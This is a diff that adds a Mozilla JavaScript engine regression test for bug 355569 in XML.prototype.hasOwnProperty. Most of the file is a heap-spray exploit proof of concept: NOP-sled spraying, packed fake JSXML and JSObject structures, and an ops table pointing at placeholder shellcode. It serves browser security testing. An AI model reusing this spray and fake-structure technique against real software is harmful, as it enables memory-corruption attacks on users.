OLD | NEW |
(Empty) | |
| 1 /* -*- Mode: java; tab-width:8; indent-tabs-mode: nil; c-basic-offset: 4 -*- */ |
| 2 |
| 3 /* ***** BEGIN LICENSE BLOCK ***** |
| 4 * Version: MPL 1.1/GPL 2.0/LGPL 2.1 |
| 5 * |
| 6 * The contents of this file are subject to the Mozilla Public License Version |
| 7 * 1.1 (the "License"); you may not use this file except in compliance with |
| 8 * the License. You may obtain a copy of the License at |
| 9 * http://www.mozilla.org/MPL/ |
| 10 * |
| 11 * Software distributed under the License is distributed on an "AS IS" basis, |
| 12 * WITHOUT WARRANTY OF ANY KIND, either express or implied. See the License |
| 13 * for the specific language governing rights and limitations under the |
| 14 * License. |
| 15 * |
| 16 * The Original Code is JavaScript Engine testing utilities. |
| 17 * |
| 18 * The Initial Developer of the Original Code is |
| 19 * Mozilla Foundation. |
| 20 * Portions created by the Initial Developer are Copyright (C) 2006 |
| 21 * the Initial Developer. All Rights Reserved. |
| 22 * |
| 23 * Contributor(s): shutdown |
| 24 * |
| 25 * Alternatively, the contents of this file may be used under the terms of |
| 26 * either the GNU General Public License Version 2 or later (the "GPL"), or |
| 27 * the GNU Lesser General Public License Version 2.1 or later (the "LGPL"), |
| 28 * in which case the provisions of the GPL or the LGPL are applicable instead |
| 29 * of those above. If you wish to allow use of your version of this file only |
| 30 * under the terms of either the GPL or the LGPL, and not to allow others to |
| 31 * use your version of this file under the terms of the MPL, indicate your |
| 32 * decision by deleting the provisions above and replace them with the notice |
| 33 * and other provisions required by the GPL or the LGPL. If you do not delete |
| 34 * the provisions above, a recipient may use your version of this file under |
| 35 * the terms of any one of the MPL, the GPL or the LGPL. |
| 36 * |
| 37 * ***** END LICENSE BLOCK ***** */ |
| 38 gTestfile = 'regress-355569.js'; |
| 39 |
| 40 var bug = 355569; |
| 41 var actual = ''; |
| 42 var expect = ''; |
| 43 |
| 44 START('XML.prototype.hasOwnProperty foo'); |
| 45 printBugNumber (bug); |
| 46 printStatus (summary); |
| 47 |
| 48 var targetAddress = 0x12030010; |
| 49 var sprayParams = { |
| 50 chunkSize: 16 * 1024 * 1024, |
| 51 chunkCount: 16, |
| 52 chunkMarker: 0xdeadface, |
| 53 chunkAlign: 0x1000, |
| 54 reservedSize: 1024 |
| 55 }; |
| 56 |
| 57 function makeExploitCode() { |
| 58 /* mov eax, 0xdeadfeed; mov ebx, eax; mov ecx, eax; mov edx, eax; int3 */ |
| 59 return "\uEDB8\uADFE\u89DE\u89C3\u89C1\uCCC2"; |
| 60 } |
| 61 |
| 62 /*==========================================================================*/ |
| 63 /*==========================================================================*/ |
| 64 |
| 65 function packData(template, A) { |
| 66 var n = 0, result = "", vl; |
| 67 for(var i = 0; i < template.length; i++) { |
| 68 var ch = template.charAt(i); |
| 69 if(ch == "s" || ch == "S") { |
| 70 vl = A[n++] >>> 0; result += String.fromCharCode(vl & 0xffff); |
| 71 } else if(ch == "l" || ch == "L") { // XXX endian |
| 72 vl = A[n++] >>> 0; result += String.fromCharCode(vl & 0xffff, vl >> 16); |
| 73 } else if(ch == "=") { |
| 74 result += String(A[n++]); |
| 75 } |
| 76 } |
| 77 return result; |
| 78 } |
| 79 function buildStructure(worker, address) { |
| 80 var offs = {}, result = "", context = { |
| 81 append: function(k, v) { offs[k] = result.length * 2; result += v; }, |
| 82 address: function(k) { return address + ((k && offs[k]) || 0); } |
| 83 }; worker(context); result = ""; worker(context); return result; |
| 84 } |
| 85 function repeatToLength(s, L) { |
| 86 if(L <= s.length) { return s.substring(0, L); } |
| 87 while(s.length <= L/2) { s += s; } |
| 88 return s + s.substring(0, L - s.length); |
| 89 } |
| 90 function sprayData(data, params, rooter) { |
| 91 var marker = packData("L", [ params.chunkMarker ]); |
| 92 data += repeatToLength("\u9090", params.chunkAlign / 2 - data.length); |
| 93 data = repeatToLength(data, (params.chunkSize - params.reservedSize) / 2); |
| 94 for(var i = 0; i < params.chunkCount; i++) { |
| 95 rooter[i] = marker + data + i; |
| 96 } |
| 97 } |
| 98 |
| 99 function T_JSObject(map, slots) |
| 100 { return packData("LL", arguments); } |
| 101 function T_JSObjectMap(nrefs, ops, nslots, freeslot) |
| 102 { return packData("LLLL", arguments); } |
| 103 function T_JSObjectOps( |
| 104 newObjectMap, destroyObjectMap, lookupProperty, defineProperty, |
| 105 getProperty, setProperty, getAttributes, setAttributes, |
| 106 deleteProperty, defaultValue, enumerate, checkAccess, |
| 107 thisObject, dropProperty, call, construct, |
| 108 xdrObject, hasInstance, setProto, setParent, |
| 109 mark, clear, getRequiredSlot, setRequiredSlot |
| 110 ) { return packData("LLLLLLLL LLLLLLLL LLLLLLLL", arguments); } |
| 111 |
| 112 function T_JSXML_LIST( |
| 113 object, domnode, parent, name, xml_class, xml_flags, |
| 114 kids_length, kids_capacity, kids_vector, kids_cursors, |
| 115 xml_target, xml_targetprop |
| 116 ) { return packData("LLLLSS LLLL LL", arguments); } |
| 117 function T_JSXML_ELEMENT( |
| 118 object, domnode, parent, name, xml_class, xml_flags, |
| 119 kids_length, kids_capacity, kids_vector, kids_cursors, |
| 120 nses_length, nses_capacity, nses_vector, nses_cursors, |
| 121 atrs_length, atrs_capacity, atrs_vector, atrs_cursors |
| 122 ) { return packData("LLLLSS LLLL LLLL LLLL", arguments); } |
| 123 |
| 124 /*==========================================================================*/ |
| 125 /*==========================================================================*/ |
| 126 |
| 127 function makeExploitData(address) { |
| 128 return buildStructure(function(ctx) { |
| 129 ctx.append("xml-list", |
| 130 T_JSXML_LIST(0, 0, 0, 0, 0, 0, 1, 0, ctx.address("xml-kids-vector"), 0, 0,
0)); |
| 131 ctx.append("xml-kids-vector", |
| 132 packData("L", [ ctx.address("xml-element") ])); |
| 133 ctx.append("xml-element", |
| 134 T_JSXML_ELEMENT(ctx.address("object"), 0, 0, 0, 1, 0, 0, 0, 0, 0, /*c*/ 0,
0, 0, 0, /*d*/ 0, 0, 0, 0)); |
| 135 ctx.append("object", |
| 136 T_JSObject(ctx.address("object-map"), 0)); |
| 137 ctx.append("object-map", |
| 138 T_JSObjectMap(0, ctx.address("object-ops"), 0, 0)); |
| 139 ctx.append("object-ops", |
| 140 T_JSObjectOps(0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, ctx.address("exploit-code"), 0)); |
| 141 ctx.append("exploit-code", |
| 142 makeExploitCode(ctx)); |
| 143 }, address); |
| 144 } |
| 145 |
| 146 function exploit() { |
| 147 sprayData(makeExploitData(targetAddress), sprayParams, this.rooter = {}); |
| 148 var numobj = new Number(targetAddress >> 1); |
| 149 XML.prototype.function::hasOwnProperty.call(numobj); |
| 150 printStatus("probably not exploitable"); |
| 151 } |
| 152 |
| 153 try |
| 154 { |
| 155 exploit(); |
| 156 } |
| 157 catch(ex) |
| 158 { |
| 159 } |
| 160 |
| 161 TEST(1, expect, actual); |
| 162 |
| 163 END(); |
OLD | NEW |